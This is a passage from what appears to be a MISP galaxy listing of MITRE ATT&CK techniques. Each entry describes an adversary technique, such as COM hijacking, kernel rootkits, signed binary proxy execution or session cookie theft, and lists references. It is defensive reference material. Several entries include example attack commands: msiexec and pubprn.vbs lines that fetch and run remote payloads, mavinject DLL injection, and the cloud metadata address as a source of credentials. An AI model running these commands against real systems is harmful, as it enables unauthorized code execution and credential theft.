Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions. (Citation: Technet MS14-068) (Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.

The tag is: misp-galaxy:mitre-attack-pattern="Exploitation for Credential Access - T1212"

Table 2292. Table References
Links
https://attack.mitre.org/techniques/T1212
https://technet.microsoft.com/en-us/library/security/ms14-068.aspx
https://adsecurity.org/?p=1515

Component Object Model Hijacking - T1122

The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary’s code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.

The tag is: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1122"

Table 2293. Table References
Links
https://attack.mitre.org/techniques/T1122
https://msdn.microsoft.com/library/ms694363.aspx
https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
https://www.endgame.com/blog/how-hunt-detecting-persistence-evasion-com

Data from Information Repositories - T1213

Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information.

Adversaries may also collect information from shared storage repositories hosted on cloud infrastructure or in software-as-a-service (SaaS) applications, as storage is one of the more fundamental requirements for cloud services and systems.

The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:

Policies, procedures, and standards
Physical / logical network diagrams
System architecture diagrams
Technical system documentation
Testing / development credentials
Work / project schedules
Source code snippets
Links to network shares and other internal resources

Specific common information repositories include:

Microsoft SharePoint

Found in many enterprise networks and often used to store and share significant amounts of documentation.

Atlassian Confluence

Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation.

The tag is: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213"

Table 2294. Table References
Links
https://attack.mitre.org/techniques/T1213
https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2
https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html

System Network Connections Discovery - T1421

On Android, applications can use standard APIs to gather a list of network connections to and from the device. For example, the Network Connections app available in the Google Play Store (Citation: ConnMonitor) advertises this functionality.

The tag is: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1421"

Table 2295. Table References
Links
https://attack.mitre.org/techniques/T1421
https://play.google.com/store/apps/details?id=com.antispycell.connmonitor&hl=en

Kernel Modules and Extensions - T1215

Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)

Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)

Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)

The tag is: misp-galaxy:mitre-attack-pattern="Kernel Modules and Extensions - T1215"

Table 2296. Table References
Links
https://attack.mitre.org/techniques/T1215
https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf
http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html
https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html
https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/
https://github.com/f0rb1dd3n/Reptile
https://github.com/m0nad/Diamorphine
http://www.megasecurity.org/papers/Rootkits.pdf
https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf
https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/
https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/
https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux
http://tldp.org/HOWTO/Module-HOWTO/x197.html

Network Share Connection Removal - T1126

Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the <code>net use \\system\share /delete</code> command. (Citation: Technet Net Use)

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

The tag is: misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1126"

Table 2297. Table References
Links
https://attack.mitre.org/techniques/T1126
https://technet.microsoft.com/bb490717.aspx

Signed Script Proxy Execution - T1216

Scripts signed with trusted certificates can be used to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application whitelisting solutions that do not account for use of these scripts.

PubPrn.vbs is signed by Microsoft and can be used to proxy execution from a remote site. (Citation: Enigma0x3 PubPrn Bypass) Example command: <code>cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png</code>

There are several other signed scripts that may be used in a similar manner. (Citation: GitHub Ultimate AppLocker Bypass List)

The tag is: misp-galaxy:mitre-attack-pattern="Signed Script Proxy Execution - T1216"

Table 2298. Table References
Links
https://attack.mitre.org/techniques/T1216
https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/
https://github.com/api0cradle/UltimateAppLockerByPassList

Signed Binary Proxy Execution - T1218

Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application whitelisting and signature validation on systems. This technique accounts for proxy execution methods that are not already accounted for within the existing techniques.

Msiexec.exe

Msiexec.exe is the command-line Windows utility for the Windows Installer. Adversaries may use msiexec.exe to launch malicious MSI files for code execution. An adversary may use it to launch local or network accessible MSI files.(Citation: LOLBAS Msiexec)(Citation: Rancor Unit42 June 2018)(Citation: TrendMicro Msiexec Feb 2018) Msiexec.exe may also be used to execute DLLs.(Citation: LOLBAS Msiexec)

<code>msiexec.exe /q /i "C:\path\to\file.msi"</code>
<code>msiexec.exe /q /i http[:]//site[.]com/file.msi</code>
<code>msiexec.exe /y "C:\path\to\file.dll"</code>

Mavinject.exe

Mavinject.exe is a Windows utility that allows for code execution. Mavinject can be used to input a DLL into a running process. (Citation: Twitter gN3mes1s Status Update MavInject32)

<code>"C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe" <PID> /INJECTRUNNING <PATH DLL></code>
<code>C:\Windows\system32\mavinject.exe <PID> /INJECTRUNNING <PATH DLL></code>

SyncAppvPublishingServer.exe

SyncAppvPublishingServer.exe can be used to run PowerShell scripts without executing powershell.exe. (Citation: Twitter monoxgas Status Update SyncAppvPublishingServer)

Odbcconf.exe

Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The utility can be misused to execute functionality equivalent to [Regsvr32](https://attack.mitre.org/techniques/T1117) with the REGSVR option to execute a DLL.(Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017)

<code>odbcconf.exe /S /A {REGSVR "C:\Users\Public\file.dll"}</code>

Several other binaries exist that may be used to perform similar behavior. (Citation: GitHub Ultimate AppLocker Bypass List)

The tag is: misp-galaxy:mitre-attack-pattern="Signed Binary Proxy Execution - T1218"

Table 2299. Table References
Links
https://attack.mitre.org/techniques/T1218
https://lolbas-project.github.io/lolbas/Binaries/Msiexec/
https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/
https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/
https://twitter.com/gn3mes1s/status/941315826107510784
https://twitter.com/monoxgas/status/895045566090010624
https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017
https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/
https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/
https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/
https://github.com/api0cradle/UltimateAppLockerByPassList

Execution through Module Load - T1129

The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like CreateProcess(), LoadLibrary(), etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)

The module loader can load DLLs:

via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;
via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);
via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;
via <code><file name="filename.extension" loadFrom="fully-qualified or relative pathname"></code> in an embedded or external "application manifest". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.

Adversaries can use this functionality as a way to execute arbitrary code on a system.

The tag is: misp-galaxy:mitre-attack-pattern="Execution through Module Load - T1129"

Table 2300. Table References
Links
https://attack.mitre.org/techniques/T1129
https://en.wikipedia.org/wiki/Microsoft_Windows_library_files

Build social network persona - T1341

For attacks incorporating social engineering the utilization of an on-line persona is important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites ([Facebook](https://www.facebook.com), [LinkedIn](https://www.linkedin.com), [Twitter](https://twitter.com), [Google+](https://plus.google.com), etc.). (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)

The tag is: misp-galaxy:mitre-attack-pattern="Build social network persona - T1341"

Table 2301. Table References
Links
https://attack.mitre.org/techniques/T1341

Remote access tool development - T1351

A remote access tool (RAT) is a piece of software that allows a remote user to control a system as if they had physical access to that system. An adversary may utilize existing RATs, modify existing RATs, or create their own RAT. (Citation: ActiveMalwareEnergy)

The tag is: misp-galaxy:mitre-attack-pattern="Remote access tool development - T1351"

Table 2302. Table References
Links
https://attack.mitre.org/techniques/T1351

Secure and protect infrastructure - T1317

An adversary may secure and protect their infrastructure just as defenders do. This could include the use of VPNs, security software, logging and monitoring, passwords, or other defensive measures. (Citation: KrebsTerracottaVPN)

The tag is: misp-galaxy:mitre-attack-pattern="Secure and protect infrastructure - T1317"

Table 2303. Table References
Links
https://attack.mitre.org/techniques/T1317

Obfuscate or encrypt code - T1319

Obfuscation is the act of creating code that is more difficult to understand. Encoding transforms the code using a publicly available format. Encryption transforms the code such that it requires a key to reverse the encryption. (Citation: CylanceOpCleaver)

The tag is: misp-galaxy:mitre-attack-pattern="Obfuscate or encrypt code - T1319"

Table 2304. Table References
Links
https://attack.mitre.org/techniques/T1319

Elevated Execution with Prompt - T1514

Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.

Adversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it’s all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it’s all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it’s all broken!)

The tag is: misp-galaxy:mitre-attack-pattern="Elevated Execution with Prompt - T1514"

Table 2305. Table References
Links
https://attack.mitre.org/techniques/T1514
https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg
https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8
https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/
https://objective-see.com/blog/blog_0x2A.html

Data Encrypted for Impact - T1471

An adversary may encrypt files stored on the mobile device to prevent the user from accessing them, for example with the intent of only unlocking access to the files after a ransom is paid. Without escalated privileges, the adversary is generally limited to only encrypting files in external/shared storage locations. This technique has been demonstrated on Android. We are unaware of any demonstrated use on iOS.

The tag is: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1471"

Table 2306. Table References
Links
https://attack.mitre.org/techniques/T1471
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html

Man in the Browser - T1185

Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser)

A specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot) (Citation: ICEBRG Chrome Extensions)

Browser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary’s browser through the user’s browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user’s traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication. (Citation: cobaltstrike manual)

The tag is: misp-galaxy:mitre-attack-pattern="Man in the Browser - T1185"

Table 2307. Table References
Links
https://attack.mitre.org/techniques/T1185
https://en.wikipedia.org/wiki/Man-in-the-browser
https://www.cobaltstrike.com/help-browser-pivoting
https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses
https://cobaltstrike.com/downloads/csmanual38.pdf

Hidden Files and Directories - T1158

To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls –a</code> for Linux and macOS).

Adversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.

Windows

Users can mark specific files as hidden by using the attrib.exe binary. Simply do <code>attrib +h filename</code> to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.

Linux/Mac

Users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: <code>defaults write com.apple.finder AppleShowAllFiles YES</code>, and then relaunch the Finder Application.

Mac

Files on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.

The tag is: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158"

Table 2308. Table References
Links
https://attack.mitre.org/techniques/T1158
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf

System Network Configuration Discovery - T1422

On Android, details of onboard network interfaces are accessible to apps through the java.net.NetworkInterface class (Citation: NetworkInterface). The Android TelephonyManager class can be used to gather related information such as the IMSI, IMEI, and phone number (Citation: TelephonyManager).

The tag is: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422"

Table 2309. Table References
Links
https://attack.mitre.org/techniques/T1422
https://developer.android.com/reference/java/net/NetworkInterface.html
https://developer.android.com/reference/android/telephony/TelephonyManager.html

Cloud Instance Metadata API - T1522

Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.

Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API)

If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)

The de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>.

The tag is: misp-galaxy:mitre-attack-pattern="Cloud Instance Metadata API - T1522"

Table 2310. Table References
Links
https://attack.mitre.org/techniques/T1522
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html
https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse

Identify analyst level gaps - T1233

Analysts identify gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: BrighthubGapAnalysis) (Citation: ICD115) (Citation: JP2-01)

The tag is: misp-galaxy:mitre-attack-pattern="Identify analyst level gaps - T1233"

Table 2311. Table References
Links
https://attack.mitre.org/techniques/T1233

Generate analyst intelligence requirements - T1234

Analysts may receive Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from leadership or key decision makers and generate intelligence requirements to articulate intricacies of information required on a topic or question. (Citation: Herring1999)

The tag is: misp-galaxy:mitre-attack-pattern="Generate analyst intelligence requirements - T1234"

Table 2312. Table References
Links
https://attack.mitre.org/techniques/T1234

Identify security defensive capabilities - T1263

Security defensive capabilities are designed to stop or limit unauthorized network traffic or other types of accesses. (Citation: OSFingerprinting2014) (Citation: NMAP WAF NSE)

The tag is: misp-galaxy:mitre-attack-pattern="Identify security defensive capabilities - T1263"

Table 2313. Table References
Links
https://attack.mitre.org/techniques/T1263

Use multiple DNS infrastructures - T1327

A technique used by the adversary similar to Dynamic DNS with the exception that the use of multiple DNS infrastructures likely have whois records. (Citation: KrebsStLouisFed)

The tag is: misp-galaxy:mitre-attack-pattern="Use multiple DNS infrastructures - T1327"

Table 2314. Table References
Links
https://attack.mitre.org/techniques/T1327

Analyze application security posture - T1293

The tag is: misp-galaxy:mitre-attack-pattern="Analyze application security posture - T1293"

Table 2315. Table References
Links
https://attack.mitre.org/techniques/T1293

Malicious Software Development Tools - T1462

As demonstrated by the XcodeGhost attack (Citation: PaloAlto-XcodeGhost1), app developers could be provided with modified versions of software development tools (e.g. compilers) that automatically inject malicious or exploitable code into applications.

Detection: Enterprises could deploy integrity checking software to the computers that they use to develop code to detect presence of unauthorized, modified software development tools.

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-attack-pattern="Malicious Software Development Tools - T1462"

Malicious Software Development Tools - T1462 has relationships with:

revoked-by: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474" with estimative-language:likelihood-probability="almost-certain"

Table 2316. Table References
Links
https://attack.mitre.org/techniques/T1462

Identify technology usage patterns - T1264

Technology usage patterns include identifying if users work offsite, connect remotely, or other possibly less restricted/secured access techniques. (Citation: SANSRemoteAccess)

The tag is: misp-galaxy:mitre-attack-pattern="Identify technology usage patterns - T1264"

Table 2317. Table References
Links
https://attack.mitre.org/techniques/T1264

Generate Fraudulent Advertising Revenue - T1472

An adversary could seek to generate fraudulent advertising revenue from mobile devices, for example by triggering automatic clicks of advertising links without user involvement.

The tag is: misp-galaxy:mitre-attack-pattern="Generate Fraudulent Advertising Revenue - T1472"

Table 2318. Table References
Links
https://attack.mitre.org/techniques/T1472

Identify sensitive personnel information - T1274

An adversary may identify sensitive personnel information not typically posted on a social media site, such as address, marital status, financial history, and law enforcement infractions. This could be conducted by searching public records that are frequently available for free or at a low cost online. (Citation: RSA-APTRecon)

The tag is: misp-galaxy:mitre-attack-pattern="Identify sensitive personnel information - T1274"

Table 2319. Table References
Links
https://attack.mitre.org/techniques/T1274

Identify web defensive services - T1256

An adversary can attempt to identify web defensive services as [CloudFlare](https://www.cloudflare.com), [IPBan](https://github.com/jjxtra/Windows-IP-Ban-Service), and [Snort](https://www.snort.org). This may be done by passively detecting services, like [CloudFlare](https://www.cloudflare.com) routing, or actively, such as by purposefully tripping security defenses. (Citation: NMAP WAF NSE)

The tag is: misp-galaxy:mitre-attack-pattern="Identify web defensive services - T1256"

Table 2320. Table References
Links
https://attack.mitre.org/techniques/T1256

Steal Application Access Token - T1528

Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering and typically requires user action to grant access.

Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft’s Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials.

Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user’s OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a link through [Spearphishing Link](https://attack.mitre.org/techniques/T1192) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1527).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)

Adversaries have been seen targeting Gmail, Microsoft Outlook, and Yahoo Mail users.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017)

The tag is: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528"

Table 2321. Table References
Links
https://attack.mitre.org/techniques/T1528
https://auth0.com/docs/api-auth/why-use-access-tokens-to-secure-apis
https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols
https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow
https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app
https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens
https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/
https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks

Identify people of interest - T1269

The attempt to identify people of interest or with an inherent weakness for direct or indirect targeting to determine an approach to compromise a person or organization. Such targets may include individuals with poor OPSEC practices or those who have a trusted relationship with the intended target. (Citation: RSA-APTRecon) (Citation: Scasny2015)

The tag is: misp-galaxy:mitre-attack-pattern="Identify people of interest - T1269"

Table 2322. Table References
Links
https://attack.mitre.org/techniques/T1269

Data from Local System - T1533

Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system.

Local system data includes information stored by the operating system. Access to local system data often requires escalated privileges (e.g. root access). Examples of local system data include authentication tokens, the device keyboard cache, Wi-Fi passwords, and photos.

The tag is: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533"

Table 2323. Table References
Links
https://attack.mitre.org/techniques/T1533

Post compromise tool development - T1353

After compromise, an adversary may utilize additional tools to facilitate their end goals. This may include tools to further explore the system, move laterally within a network, exfiltrate data, or destroy data. (Citation: SofacyHits)

The tag is: misp-galaxy:mitre-attack-pattern="Post compromise tool development - T1353"

Table 2324. Table References
Links
https://attack.mitre.org/techniques/T1353

Standard Application Layer Protocol - T1437

Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic.

In the mobile environment, the Google Cloud Messaging (GCM; two-way) and Apple Push Notification Service (APNS; one-way server-to-device) are commonly used protocols on Android and iOS respectively that would blend in with routine device traffic and are difficult for enterprises to inspect. Google reportedly responds to reports of abuse by blocking access to GCM.(Citation: Kaspersky-MobileMalware)

The tag is: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437"

Table 2325. Table References
Links
https://attack.mitre.org/techniques/T1437
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html
https://securelist.com/mobile-malware-evolution-2013/58335/

Build or acquire exploits - T1349

An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may use or modify existing exploits when those exploits are still relevant to the environment they are trying to compromise. (Citation: NYTStuxnet) (Citation: NationsBuying)

The tag is: misp-galaxy:mitre-attack-pattern="Build or acquire exploits - T1349"

Table 2326. Table References
Links
https://attack.mitre.org/techniques/T1349

Create infected removable media - T1355

Use of removable media as part of the Launch phase requires an adversary to determine type, format, and content of the media and associated malware. (Citation: BadUSB)

The tag is: misp-galaxy:mitre-attack-pattern="Create infected removable media - T1355"

Table 2327. Table References
Links
https://attack.mitre.org/techniques/T1355

Steal Web Session Cookie - T1539

An adversary may steal web application or service session cookies and use them to gain access web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.

Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)

There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Mauraena that can gather session cookies through a man-in-the-middle proxy that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)

After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1506) technique to login to the corresponding web application.

The tag is: misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539"

Table 2328. Table References
Links
https://attack.mitre.org/techniques/T1539
https://wunderwuzzi23.github.io/blog/passthecookie.html
https://securelist.com/project-tajmahal/90240/
https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
https://github.com/kgretzky/evilginx2
https://github.com/muraenateam/muraena

Targeted social media phishing - T1366

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Sending messages through social media platforms to individuals identified as a target. These messages may include malicious attachments or links to malicious sites or they may be designed to establish communications for future actions. (Citation: APT1) (Citation: Nemucod Facebook)

The tag is: misp-galaxy:mitre-attack-pattern="Targeted social media phishing - T1366"

Table 2329. Table References
Links
https://attack.mitre.org/techniques/T1366

Modify Trusted Execution Environment - T1399

If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device’s Trusted Execution Environment (TEE) or other similar isolated execution environment where the code can evade detection, may persist after device resets, and may not be removable by the device user. Running code within the TEE may provide an adversary with the ability to monitor or tamper with overall device behavior.(Citation: Roth-Rootkits)

The tag is: misp-galaxy:mitre-attack-pattern="Modify Trusted Execution Environment - T1399"

Table 2330. Table References
Links
https://attack.mitre.org/techniques/T1399
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html
https://hackinparis.com/data/slides/2013/Slidesthomasroth.pdf
https://www.apple.com/business/docs/iOS_Security_Guide.pdf

Masquerade as Legitimate Application - T1444

An adversary could distribute developed malware by masquerading the malware as a legitimate application. This can be done in two different ways: by embedding the malware in a legitimate application, or by pretending to be a legitimate application.

